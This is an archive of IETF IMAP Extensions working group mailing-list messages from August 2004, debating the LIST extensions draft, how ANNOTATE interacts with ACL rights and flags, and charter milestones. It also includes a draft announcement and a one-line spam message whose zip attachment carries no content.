Subject: Re: New revision of draft-ietf-imapext-list-extensions
Date: Tue, 17 Aug 2004 14:03:30 +0300
To: IMAP Extensions WG <[email-masked]>
Sender: [email-masked]

--Apple-Mail-5-616777331
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII; format=flowed

On 16.8.2004, at 23:06, Lisa Dusseault wrote:

> Did somebody have a proposal for what to do about \PlaceHolder?  
> Without a preferred counter-proposal, we'll probably go to Last Call 
> with the placeHolder stuff as-is.

I don't remember seeing discussion here about \PlaceHolder. Seems 
useful to me.

However what's the point of \HasSubmailboxes? Looks like the only time 
it's returned is when doing LIST *, and in that case the LIST reply for 
the submailbox itself is also returned.

--Apple-Mail-5-616777331
content-type: application/pgp-signature; x-mac-type=70674453;
	name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

--Apple-Mail-5-616777331--

Date: Tue, 17 Aug 2004 01:30:00 +0100
From: Alexey Melnikov <[email-masked]>
To: Timo Sirainen <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: ANNOTATE and ACL interaction
Sender: [email-masked]

Timo Sirainen wrote:

>On Thu, 2004-08-12 at 17:38 +0100, Alexey Melnikov wrote:
>  
>
>>a). 'w' right controls writability of shared annotations only. If this
>>is combined with the assumption A), this means that adding a separate
>>right just for controlling private annotations doesn't make much sense:
>>who really cares that you've set your private version of /altsubject?
>>The most damage the user can do it to run out of disk quota.
>>
>>So, in this case the 'w' right controls shared annotations (and will
>>result in READ-WRITE response code as described in section 9.2 of the
>>draft-ietf-imapext-acl-10.txt). No right is required to store private
>>annotations (the ability to open a mailbox, i.e. the 'r' right, is
>>sufficient). Larry has suggested this behavior before.
>>    
>>
>
>What about some public anonymous accounts where you don't want it?
>
Good point.

>Server should just return "NO [ANNOTATE TOOMANY]" or TOOBIG I guess?
>
Just returning NO would be fine, unless we want to be specific which 
response code should be used.

>Other than in that case, I think user should always be free to set
>private annotations where he wants.
>
Ok. We can add a note saying that an ANNOTATE server may choose to 
disallow storage of private annotations for some users, e.g. "anonymous".

Alexey

From: Lisa Dusseault <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Date: Mon, 16 Aug 2004 13:06:13 -0700
To: IMAP Extensions WG <[email-masked]>
Sender: [email-masked]

Did somebody have a proposal for what to do about \PlaceHolder?  
Without a preferred counter-proposal, we'll probably go to Last Call 
with the placeHolder stuff as-is.

Lisa

On Aug 15, 2004, at 3:40 PM, Alexey Melnikov wrote:

> <<The following will be removed if the \PlaceHolder flag is also 
> removed:
>    2) There are only two reasons for including a matching mailbox name
>       in the responses to the LIST command:
>
>       a) the mailbox name also satisfies the selection criteria;
>
>       b) the mailbox name has at least one child mailbox that satisfies
>          the selection criteria, but doesn't match the canonical LIST
>          pattern. For more information on this case see the 
> \PlaceHolder
>          flag description in Section 3.

To: [email-masked]
Cc: [email-masked]
From: [email-masked]
Subject: I-D ACTION:draft-ietf-imapext-list-extensions-08.txt
Date: Mon, 16 Aug 2004 15:18:57 -0400
Sender: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF.

	Title		: IMAP4 LIST Command Extensions
	Author(s)	: B. Leiba, A. Melnikov
	Filename	: draft-ietf-imapext-list-extensions-08.txt
	Pages		: 0
	Date		: 2004-8-16
	
IMAP4 has two commands for listing mailboxes: LIST and LSUB.  As we
have added extensions that have required specialized lists (see
[MboxRefer] for an example) we have had to expand the number of list
commands, since each extension must add its function to both LIST and
LSUB, and these commands are not, as they are defined, extensible.
If we've needed the extensions to work together, we've had to add a
set of commands to mix the different options, the set increasing in
size with each new extension.  This document describes an extension
to the base LIST command that will allow these additions to be done
with mutually compatible options to the LIST command, avoiding the
exponential increase in specialized list commands.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-imapext-list-extensions-08.txt

To remove yourself from the I-D Announcement list, send a message to 
[email-masked] with the word unsubscribe in the body of the message.  
You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce 
to change your subscription settings.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-imapext-list-extensions-08.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-imapext-list-extensions-08.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-imapext-list-extensions-08.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-imapext-list-extensions-08.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

Date: Mon, 16 Aug 2004 11:29:05 +0900
To: [email-masked]
From: Martin Duerst <[email-masked]>
Subject: new mailing list: [email-masked]
Sender: [email-masked]

Dear IMAP experts,

After discussion with Chris Newman, author of the Internet Draft
http://www.ietf.org/internet-drafts/draft-newman-i18n-comparator-02.txt,
we have created a new mailing list, [email-masked],
for discussion (and hopefully completion) of this work on identifiers
for collations. This mailing list replaces an earlier one hosted at
a different place.

If you want to contribute or are interested in this work, please
subscribe by sending mail to [email-masked]
(capitalization irrelevant) with "subscribe" (without the quotes)
in the subject. The archives of this mailing list can be found at
http://lists.w3.org/Archives/Public/public-ietf-collation/,
and are publicly accessible.

I expect discussion to begin no earlier than Monday, August 23, to
allow everybody interested to subscribe.

Regards,    Martin.

Subject: Re: ANNOTATE and ACL interaction
From: Timo Sirainen <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Date: Fri, 13 Aug 2004 16:27:07 +0300
Sender: [email-masked]

--=-t+1YSF9UoMZWXD4W00Hk
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Thu, 2004-08-12 at 17:38 +0100, Alexey Melnikov wrote:
> a). 'w' right controls writability of shared annotations only. If this
> is combined with the assumption A), this means that adding a separate
> right just for controlling private annotations doesn't make much sense:
> who really cares that you've set your private version of /altsubject?
> The most damage the user can do it to run out of disk quota.
>=20
> So, in this case the 'w' right controls shared annotations (and will
> result in READ-WRITE response code as described in section 9.2 of the
> draft-ietf-imapext-acl-10.txt). No right is required to store private
> annotations (the ability to open a mailbox, i.e. the 'r' right, is
> sufficient). Larry has suggested this behavior before.

What about some public anonymous accounts where you don't want it?
Server should just return "NO [ANNOTATE TOOMANY]" or TOOBIG I guess?

Other than in that case, I think user should always be free to set
private annotations where he wants.

--=-t+1YSF9UoMZWXD4W00Hk
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

--=-t+1YSF9UoMZWXD4W00Hk--

Date: Thu, 12 Aug 2004 17:38:16 +0100
From: Alexey Melnikov <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: ANNOTATE and ACL interaction
Sender: [email-masked]

[Resending, as I've used a wrong email address]

Let me try to iterate through this again and give my suggestions:

1). A client should be able to fetch private and shared annotations if
it can SELECT/EXAMINE mailbox (whether it was opened READ-ONLY or
READ-WRITE).

2). Writability of different annotations is a more difficult question.
Let me try to propose several solutions and give my comments.

Assumptions:
A). Ability to change shared annotations is an extra privilege to the
ability to change private annotations, as there might be a security risk
if a user is allowed to change shared annotations.

B). A right required to change shared annotations is different from the
right required to change private annotations.

C). ACL 'w' right currently controls writability of all flags (with
exception of \Seen and \Deleted, which will be ignored in the following
discussion). It makes sense that the 'w' right also controls one of the
following:
I). writability of shared annotations only
II). writability of private annotations only
III). both.

The assumptions result in the following cases:

a). 'w' right controls writability of shared annotations only. If this
is combined with the assumption A), this means that adding a separate
right just for controlling private annotations doesn't make much sense:
who really cares that you've set your private version of /altsubject?
The most damage the user can do it to run out of disk quota.

So, in this case the 'w' right controls shared annotations (and will
result in READ-WRITE response code as described in section 9.2 of the
draft-ietf-imapext-acl-10.txt). No right is required to store private
annotations (the ability to open a mailbox, i.e. the 'r' right, is
sufficient). Larry has suggested this behavior before.

b). 'w' right controls writability of private annotations only. If this
is combined with the assumption A), this means that writability of
shared annotations requires a separate right, let's call it the 'H'
right for now.

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this
case the 'w' right doesn't control READ-WRITE state, but the new 'H'
right does.
However the 'w' right controls writability of all IMAP flags (ignoring
\Seen and \Deleted), whether they are shared or private.

c). 'w' right controls writability of both private and shared
annotations. If this is combined with the assumption A), this means that
writability of shared annotations requires a separate right, let's call
it the 'H' right for now.
This also means that writability of private annotations requires a
separate right, let's call it the 'V' right for now. The 'w' right is
'H'+'V'. (This is similar to the 'd' right which is 't'+'e'+'x').

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this
case the 'H' right (and thus the 'w' right) controls READ-WRITE state.
============
 From the 3 cases mentioned above I don't like b), as it suggest that
the effect of the 'w' right is different for flags and annotations,
which is bad.
It might also mean that on existing ACL servers users have to update all
ACLs to allow for storing of shared annotations.
The case c). requires more modifications to the ACL document. So unless
somebody can give an argument that it is important to be able to
disallow a user to be able to store private annotations I would slightly
favor a) over c).

Comments?

Alexey

Date: Thu, 12 Aug 2004 17:36:16 +0100
From: Alexey Melnikov <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: ANNOTATE and ACL interaction
Sender: [email-masked]

Let me try to iterate through this again and give my suggestions:

1). A client should be able to fetch private and shared annotations if 
it can SELECT/EXAMINE mailbox (whether it was opened READ-ONLY or 
READ-WRITE).

2). Writability of different annotations is a more difficult question. 
Let me try to propose several solutions and give my comments.

Assumptions:
A). Ability to change shared annotations is an extra privilege to the 
ability to change private annotations, as there might be a security risk 
if a user is allowed to change shared annotations.

B). A right required to change shared annotations is different from the 
right required to change private annotations.

C). ACL 'w' right currently controls writability of all flags (with 
exception of \Seen and \Deleted, which will be ignored in the following 
discussion). It makes sense that the 'w' right also controls one of the 
following:
I). writability of shared annotations only
II). writability of private annotations only
III). both.

The assumptions result in the following cases:

a). 'w' right controls writability of shared annotations only. If this 
is combined with the assumption A), this means that adding a separate 
right just for controlling private annotations doesn't make much sense: 
who really cares that you've set your private version of /altsubject? 
The most damage the user can do it to run out of disk quota.

So, in this case the 'w' right controls shared annotations (and will 
result in READ-WRITE response code as described in section 9.2 of the 
draft-ietf-imapext-acl-10.txt). No right is required to store private 
annotations (the ability to open a mailbox, i.e. the 'r' right, is 
sufficient). Larry has suggested this behavior before.

b). 'w' right controls writability of private annotations only. If this 
is combined with the assumption A), this means that writability of 
shared annotations requires a separate right, let's call it the 'H' 
right for now.

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this 
case the 'w' right doesn't control READ-WRITE state, but the new 'H' 
right does.
However the 'w' right controls writability of all IMAP flags (ignoring 
\Seen and \Deleted), whether they are shared or private.

c). 'w' right controls writability of both private and shared 
annotations. If this is combined with the assumption A), this means that 
writability of shared annotations requires a separate right, let's call 
it the 'H' right for now.
This also means that writability of private annotations requires a 
separate right, let's call it the 'V' right for now. The 'w' right is 
'H'+'V'. (This is similar to the 'd' right which is 't'+'e'+'x').

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this 
case the 'H' right (and thus the 'w' right) controls READ-WRITE state.
============
 From the 3 cases mentioned above I don't like b), as it suggest that 
the effect of the 'w' right is different for flags and annotations, 
which is bad.
It might also mean that on existing ACL servers users have to update all 
ACLs to allow for storing of shared annotations.
The case c). requires more modifications to the ACL document. So unless 
somebody can give an argument that it is important to be able to 
disallow a user to be able to store private annotations I would slightly 
favor a) over c).

Comments?

Alexey

Date: Thu, 12 Aug 2004 17:20:06 +0100
From: Alexey Melnikov <[email-masked]>
To: Cyrus Daboo <[email-masked]>
CC: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: ANNOTATE (was Re: New IMAPEXT WG Charter proposal)
Sender: [email-masked]

Cyrus Daboo wrote:

> Hi Lisa,
>
> --On Monday, August 9, 2004 10:53 AM -0700 Lisa Dusseault 
> <[email-masked]> wrote:
>
>> Philip suggested allowing ourselves slightly longer to actually get
>> annotate and listext done, but since this is what we came up with in the
>> room I said he should propose that on the list once I posted this to the
>> list...
>
>
> The only outstanding issue with ANNOTATE is what to do about flags. 
> The problem is the ambiguity of per-user vs shared flag/keyword 
> mapping based on the fact that different servers treat those in 
> different ways. Possible courses of action are:
>
> 1) Remove read and write access for IMAP flags and keywords in 
> ANNOTATE. This eliminates the problem altogether. One issue with this 
> is that the current CONDSTORE extension in RFC Editor queue does 
> depend on at least read access to flags in annotate. If we changed 
> ANNOTATE in this way we would have to 'recall' CONDSTORE - I am not 
> sure what mechanisms exist to do that... 

I really-really-really don't like this.

If we end up going this route my preference would be to remove CONDSTORE 
dependencies on SORT and ANNOTATE.

> 2) Only allow read access to IMAP flags and keywords. There are two 
> possibilities for this:
>
>    - The .priv and .shared values are always the same representing the 
> base IMAP state. 

Although this is ugly, this might work. I think the WG agrees that the 
client usually don't care whether a flag is implemented as shared or 
private.

>    - One of .priv or .shared is set to 'NIL', whilst the other 
> represents the base IMAP state. The server will use the appropriate 
> .priv or .shared based on the actual per-user or shared behaviour of 
> the base flag/keyword. 

Although this reflect the true server state, this seems overly complex.

> 3) Allow both read and write access as currently defined, but clearly 
> outline how these map to per-user and shared flags.
>
> One possibility for (3) that we did not consider before is to add a 
> new attribute to the /flags hierarchy that would allow the server to 
> indicate which of the .priv or .shared values map to the base IMAP 
> flag/keyword. e.g. we require a 'default' attribute on each /flag 
> entry with values 'priv' or 'shared' to indicate which annotation is 
> tied to the base value. A server that supports ACL and has the 's' bit 
> off would use 'shared' for the 'default' attribute on /flags/\seen, or 
> if the 's' bit is on it would use 'priv' for the new attribute. 

I had a similar idea in mind: the server returns SHAREDFLAGS response on 
SELECT/EXAMINE. I had some text about SHAREDFLAGS in one of my drafts, 
but it got dropped because I wasn't sure if it was that useful. Now we 
seem to agree that it is.

Anyway, this solution bring back the problem that we've discussed in San 
Diego: inconsistency between rights that control changes to different 
IMAP flags and rights which control changes to annotations.

> Another approach would be to do the same thing but using ANNOTATEMORE 
> to enumerate the flags/keywords for a specific mailbox and indicate 
> how the base state maps to .priv and .shared. This makes sense in that 
> this state is a per-mailbox attribute rather than a per-message attribute.

Yes.

> However this adds a probably unwanted dependency on ANNOTATEMORE. 

Yes, this is an issue and we probably don't want ANNOTATEMORE dependency.

I think there is another possible solution:
4). Reserve /flags hierarchy for CONDSTORE and don't allow fetches or 
changes to IMAP flags through ANNOTATION interface.
The reserved hierarchy will only be used in the SEARCH command as 
described in the CONDSTORE document.

To summarize, I would prefer either 2a) or 4).

Alexey

Cc: "'IMAP Extensions WG'" <[email-masked]>, "'Alexey Melnikov'" <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Re: New IMAPEXT WG Charter proposal
Date: Tue, 10 Aug 2004 11:47:44 -0700
To: "Scott Hollenbeck" <[email-masked]>
Sender: [email-masked]

I wanted to propose clarifying text because I felt the charter text was 
so minimal as to be quite ambiguous to a newcomer (though meaningful to 
a participant).  Perhaps at this point it doesn't matter -- the 
milestones may make the specific goals sufficiently clear.

But, unless other people speak out in favour of clearer charter text, 
I'll remove the new text and submit only the milestones, with Alexey's 
clarifications.

Lisa

On Aug 10, 2004, at 5:42 AM, Scott Hollenbeck wrote:

>
>> Note, that any Charter text change requires IESG approval, while
>> milestones change will only require approval by the
>> responsible AD (i.e.
>> Scott).
>
> Right -- I was going to mention that myself.  IESG approval isn't 
> usually a
> big deal, but it can take a few weeks.
>
> -Scott-
>

From: "Scott Hollenbeck" <[email-masked]>
To: "'Alexey Melnikov'" <[email-masked]>, "'Lisa Dusseault'" <[email-masked]>
Cc: "'IMAP Extensions WG'" <[email-masked]>
Subject: RE: New IMAPEXT WG Charter proposal
Date: Tue, 10 Aug 2004 08:42:05 -0400
Importance: Normal
Sender: [email-masked]

> Note, that any Charter text change requires IESG approval, while 
> milestones change will only require approval by the 
> responsible AD (i.e. 
> Scott).

Right -- I was going to mention that myself.  IESG approval isn't usually a
big deal, but it can take a few weeks.

-Scott-

Date: Tue, 10 Aug 2004 12:20:27 +0100
From: Alexey Melnikov <[email-masked]>
To: Lisa Dusseault <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: New IMAPEXT WG Charter proposal
Sender: [email-masked]

Lisa Dusseault wrote:

> Here is a proposed new charter for the IMAPEXT WG.  I mostly edited 
> the milestones to say what we discussed in the WG meeting; however I 
> also added a small amount of detail to the list of new functions in 
> order to clarify (and limit) the list to what we're actually doing.
>
> Philip suggested allowing ourselves slightly longer to actually get 
> annotate and listext done, but since this is what we came up with in 
> the room I said he should propose that on the list once I posted this 
> to the list...
>
> Lisa
>
>> Description of Working Group:
>>
>> The IETF IMAP extensions Working Group shall revise and publish
>> standards-track extensions to IMAP4 for performing the following
>> functions:
>>
>> 1. Sorting and threading of messages in a single mailbox (to be dealt 
>> with by one or more mechanisms)
>>
>> 2. Access Control Lists -- either an update to, or a replacement for 
>> the existing Access Control document, particularly to provide a 
>> canonical list of rights and define how they affect various operations.
>>
>> 3. Message-level annotations -- a feature set to allow arbitrary 
>> user-level and shared annotations to be added to any message in 
>> compatible mailboxes. Must support multiple users/clients.
>>
>> Revising the base IMAP4rev1 specification is out of the scope of this
>> WG. However, this WG will ensure that whatever extensions it does
>> propose do not worsen any existing problems in the base specification
>> of IMAP, nor do they make any such problems harder to address in the
>> future. 
>
Note, that any Charter text change requires IESG approval, while 
milestones change will only require approval by the responsible AD (i.e. 
Scott).

>> Goals and Milestones:
>>
>> REMOVE THIS MILESTONE:          Submit an Internet-Draft enumerating 
>> known problems to avoid in the base specification
>> MARK AS DONE on Dec 03    Submit to IESG, draft on conditional 
>> storage to help multiple clients use a single mailbox 
>
IMHO, "conditional STORE operation" seems better.

>> MARK AS DONE on Feb 04           Submit to IESG, revised 
>> Sorting/Threading spec(s)
>> Aug 04 WG last call for i18n draft
>> Aug 04          WG Last call for annotate draft
>> Aug 04    WG last call for LIST extensions draft, defining syntax 
>> allowing much better extensibility in the frequently-extended LIST 
>> command, and supporting other drafts in this WG 
>
Do we have an exact date in mind? I've mostly finished updating LISTEXT, 
but I am afraid I will need one more revision to polish it.

>> Sep 04 Submit to IESG, Internationalization draft
>> Sep 04      Submit to IESG, revised annotate draft
>> Oct 04     Submit to IESG, revised List Extensions draft
>> Oct 04          Submit I-D to *update* existing ACL RFC, explaining 
>> rights & listing rights in CAPABILITY response
>> Oct 04 New draft of ACL2 proposal which would *obsolete* existing ACL 
>> RFC
>> Feb 05 ACL2 to WG Last Call -- note that if this milestone is not met 
>> we agreed to close the WG and defer ACL2 to another WG.
>

Date: Mon, 09 Aug 2004 11:54:44 -0800
To: "Ietf-imapext" <[email-masked]>
From: "Ken" <[email-masked]>
Subject:  
Sender: [email-masked]

----------thiumkfwszxnttudqatu
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
new price<br><br>

<br>
</body></html>

----------thiumkfwszxnttudqatu
Content-Type: application/octet-stream; name="price2.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="price2.zip"

----------thiumkfwszxnttudqatu--

Date: Mon, 09 Aug 2004 14:32:16 -0400
From: Cyrus Daboo <[email-masked]>
To: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: New IMAPEXT WG Charter proposal
Sender: [email-masked]

Hi Lisa,

--On Monday, August 9, 2004 10:53 AM -0700 Lisa Dusseault 
<[email-masked]> wrote:

> Philip suggested allowing ourselves slightly longer to actually get
> annotate and listext done, but since this is what we came up with in the
> room I said he should propose that on the list once I posted this to the
> list...

The only outstanding issue with ANNOTATE is what to do about flags. The 
problem is the ambiguity of per-user vs shared flag/keyword mapping based 
on the fact that different servers treat those in different ways. Possible 
courses of action are:

1) Remove read and write access for IMAP flags and keywords in ANNOTATE. 
This eliminates the problem altogether. One issue with this is that the 
current CONDSTORE extension in RFC Editor queue does depend on at least 
read access to flags in annotate. If we changed ANNOTATE in this way we 
would have to 'recall' CONDSTORE - I am not sure what mechanisms exist to 
do that...

2) Only allow read access to IMAP flags and keywords. There are two 
possibilities for this:

    - The .priv and .shared values are always the same representing the 
base IMAP state.

    - One of .priv or .shared is set to 'NIL', whilst the other represents 
the base IMAP state. The server will use the appropriate .priv or .shared 
based on the actual per-user or shared behaviour of the base flag/keyword.

3) Allow both read and write access as currently defined, but clearly 
outline how these map to per-user and shared flags.

One possibility for (3) that we did not consider before is to add a new 
attribute to the /flags hierarchy that would allow the server to indicate 
which of the .priv or .shared values map to the base IMAP flag/keyword. 
e.g. we require a 'default' attribute on each /flag entry with values 
'priv' or 'shared' to indicate which annotation is tied to the base value. 
A server that supports ACL and has the 's' bit off would use 'shared' for 
the 'default' attribute on /flags/\seen, or if the 's' bit is on it would 
use 'priv' for the new attribute.

Another approach would be to do the same thing but using ANNOTATEMORE to 
enumerate the flags/keywords for a specific mailbox and indicate how the 
base state maps to .priv and .shared. This makes sense in that this state 
is a per-mailbox attribute rather than a per-message attribute. However 
this adds a probably unwanted dependency on ANNOTATEMORE.

-- 
Cyrus Daboo

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: New IMAPEXT WG Charter proposal
Date: Mon, 9 Aug 2004 10:53:16 -0700
Sender: [email-masked]

Here is a proposed new charter for the IMAPEXT WG.  I mostly edited the 
milestones to say what we discussed in the WG meeting; however I also 
added a small amount of detail to the list of new functions in order to 
clarify (and limit) the list to what we're actually doing.

Philip suggested allowing ourselves slightly longer to actually get 
annotate and listext done, but since this is what we came up with in 
the room I said he should propose that on the list once I posted this 
to the list...

Lisa

>
> Description of Working Group:
>
> The IETF IMAP extensions Working Group shall revise and publish
> standards-track extensions to IMAP4 for performing the following
> functions:
>
> 1. Sorting and threading of messages in a single mailbox (to be dealt 
> with by one or more mechanisms)
>
> 2. Access Control Lists -- either an update to, or a replacement for 
> the existing Access Control document, particularly to provide a 
> canonical list of rights and define how they affect various 
> operations.
>
> 3. Message-level annotations -- a feature set to allow arbitrary 
> user-level and shared annotations to be added to any message in 
> compatible mailboxes. Must support multiple users/clients.
>
> Revising the base IMAP4rev1 specification is out of the scope of this
> WG. However, this WG will ensure that whatever extensions it does
> propose do not worsen any existing problems in the base specification
> of IMAP, nor do they make any such problems harder to address in the
> future.
>
> Goals and Milestones:
>
> REMOVE THIS MILESTONE:	  	Submit an Internet-Draft enumerating known 
> problems to avoid in the base specification
> MARK AS DONE on Dec 03	Submit to IESG, draft on conditional storage to 
> help multiple clients use a single mailbox
> MARK AS DONE on Feb 04 	  	Submit to IESG, revised Sorting/Threading 
> spec(s)
> Aug 04 WG last call for i18n draft
> Aug 04	  	WG Last call for annotate draft
> Aug 04    WG last call for LIST extensions draft, defining syntax 
> allowing much better extensibility in the frequently-extended LIST 
> command, and supporting other drafts in this WG
> Sep 04 Submit to IESG, Internationalization draft
> Sep 04      Submit to IESG, revised annotate draft
> Oct 04     Submit to IESG, revised List Extensions draft
> Oct 04	  	Submit I-D to *update* existing ACL RFC, explaining rights & 
> listing rights in CAPABILITY response
> Oct 04 New draft of ACL2 proposal which would *obsolete* existing ACL 
> RFC
> Feb 05 ACL2 to WG Last Call -- note that if this milestone is not met 
> we agreed to close the WG and defer ACL2 to another WG.
>
>

Date: Wed, 04 Aug 2004 18:57:04 +0100
From: Alexey Melnikov <[email-masked]>
To: Philip Guenther <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: flags and ANNOTATE
Sender: [email-masked]

Philip Guenther wrote:

>Alexey Melnikov <[email-masked]> writes:
>...
>  
>
>>One thing I forgot to mention during the IMAPEXT meeting. CONDSTORE uses 
>>ANNOTATE syntax, so we *can't* remove /flags hierarchy.
>>However, we can make it either reserved, or read-only.
>>    
>>
>
>Fixable in the author's 48 hours?
>
No. I don't want to have two syntaxes: one for flags and one for 
annotations. CONDSTORE can work with both.
A single syntax was the motivation for /flags hierarchy.

However, I tend to agree that making flags writable through ANNOTATE 
interface seems bad (difficult) as per our recent discussion.

Alexey

To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Subject: Re: flags and ANNOTATE 
Date: Wed, 04 Aug 2004 10:51:21 -0700
From: Philip Guenther <[email-masked]>
Sender: [email-masked]

Alexey Melnikov <[email-masked]> writes:
...
>One thing I forgot to mention during the IMAPEXT meeting. CONDSTORE uses 
>ANNOTATE syntax, so we *can't* remove /flags hierarchy.
>However, we can make it either reserved, or read-only.

Fixable in the author's 48 hours?

Philip Guenther

Date: Wed, 04 Aug 2004 18:45:31 +0100
From: Alexey Melnikov <[email-masked]>
To: Philip Guenther <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: flags and ANNOTATE
Sender: [email-masked]

Philip Guenther wrote:

>[...]
>Overall, the use case for the /flags hierarchy seems much less developed
>than the basic idea of annotations.  So, I move that the toplevel /flags
>hierarchy of annotations be removed from the ANNOTATE draft.  If/when a
>clear use scenario for them can be ennunciated, presumably with some
>required semantic from which mapping rules can be derived, a separate
>(individual?) draft can be floated that describes how to add them to a
>server supporting ANNOTATE.
>  
>
One thing I forgot to mention during the IMAPEXT meeting. CONDSTORE uses 
ANNOTATE syntax, so we *can't* remove /flags hierarchy.
However, we can make it either reserved, or read-only.

Alexey

To: IMAP Extensions WG <[email-masked]>
Subject: flags and ANNOTATE
Date: Wed, 04 Aug 2004 10:23:21 -0700
From: Philip Guenther <[email-masked]>
Sender: [email-masked]

At the meeting I promised to do a review of the archives on the issue of
IMAP flags in ANNOTATE.  Summary: this is an old, old issue.  The
historical discussion of this issue seemed to center on two points:

- its ability to give clients fine grained control over whether a
  flag setting was shared or private

- the complexity it causes

Three observations make me dubious of the first argument:
1) I didn't see any comments describing the horrific workarounds
   that are inflicted on clients by the current lack of this ability

2) despite a message by Cyrus noting that rules were needed to
   describe how the .priv and .shared values interacted with the
   'normal' view of the flag, no one ever stated what they saw as
   the minimal requirements for solving the client issues they saw,
   much less what the full rules should look like

3) there was no discussion of whether or how the various ACL rights
   that control normal flag updates ('s', 'w', 'd' (or 't')) would
   affect the ability to update the flag annotations.  Again, there was
   just a "we should think about this" note

Overall, the use case for the /flags hierarchy seems much less developed
than the basic idea of annotations.  So, I move that the toplevel /flags
hierarchy of annotations be removed from the ANNOTATE draft.  If/when a
clear use scenario for them can be ennunciated, presumably with some
required semantic from which mapping rules can be derived, a separate
(individual?) draft can be floated that describes how to add them to a
server supporting ANNOTATE.

Philip Guenther

Date: Mon, 02 Aug 2004 14:14:02 -0700
From: Cyrus Daboo <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: LISTEXT: more control over returned results
Sender: [email-masked]

Hi,
This is a head-up for an issue I would like to discuss in the meeting later 
today.

I am thinking about how LISTEXT and ANNOTATEMORE will work together to 
allow searching for mailboxes with specific values in their annotations. 
One thing that comes up in this is having better control over what 
information is returned in the LIST response to a LISTEXT command. For 
example, say I want to find all mailboxes that have their /check 
annotations set to true, and have the LIST results return just the 
/checkperiod annotation value for each of those - in this case I do not 
care about the standard LIST flags and do not want to waste bandwidth 
getting those (since they will probably already be known from an earlier 
LIST).

i.e. I want to split the LISTEXT command into two parts: one which controls 
which mailboxes get 'matched' and the other which controls what information 
about those mailboxes gets 'returned'. Right now there is no clear 
distinction in LISTEXT between the two. For example, the SUBSCRIBED option 
both 'matches' and 'returns' subscribed state. Thus there is no way in a 
single list command to say find all INBOX.* mailboxes and see which of 
those are subscribed. Whereas, if one could control the LISTEXT response 
output in more detail, you could in a single command match the INBOX.* 
mailboxes and also return their subscribed state.

What I propose is a change to the current LISTEXT command syntax:

LIST <match-options> mailbox-spec RETURN <return-options>

<return-options> would be the list of attributes to return for each 
mailbox. In the absence of a RETURN, the responses would be standard IMAP 
LIST flags. An initial set of <return-options> would be:

NOSTDFLAGS   - do not return standard LIST flags
SUBSCRIBED   - return subscribed state
CHILDREN     - return children state
REMOTE       - return referral info
SUBMAILBOXES - return place holder info

The <match-options> list would be:

SUBSCRIBED   - match only subscribed mailboxes

Thus for the example I gave:

a LIST "" "INBOX.*" RETURN (SUBSCRIBED)

would list all sub-mailboxes of INBOX and show which of them is subscribed 
all in one go.

For ANNOTATEMORE we could add for <match-options>:

ANNOTATE <entry> <value>  - match annotations with <value> in <entry>

and for <return-options>

ANNOTATION <entry-list>   - return specified entries only.

A similar extension could be done for ACL information and perhaps even 
STATUS...

Obviously this is a departure from the current LISTEXT design, but I 
believe it will be more flexible for future uses of LISTEXT.

-- 
Cyrus Daboo

From: "Scott Hollenbeck" <[email-masked]>
To: "'Lisa Dusseault'" <[email-masked]>, "'Philip Guenther'" <[email-masked]>
Cc: "'IMAP Extensions WG'" <[email-masked]>
Subject: RE: Agenda & slides 
Date: Mon, 2 Aug 2004 17:02:15 -0400
Importance: Normal
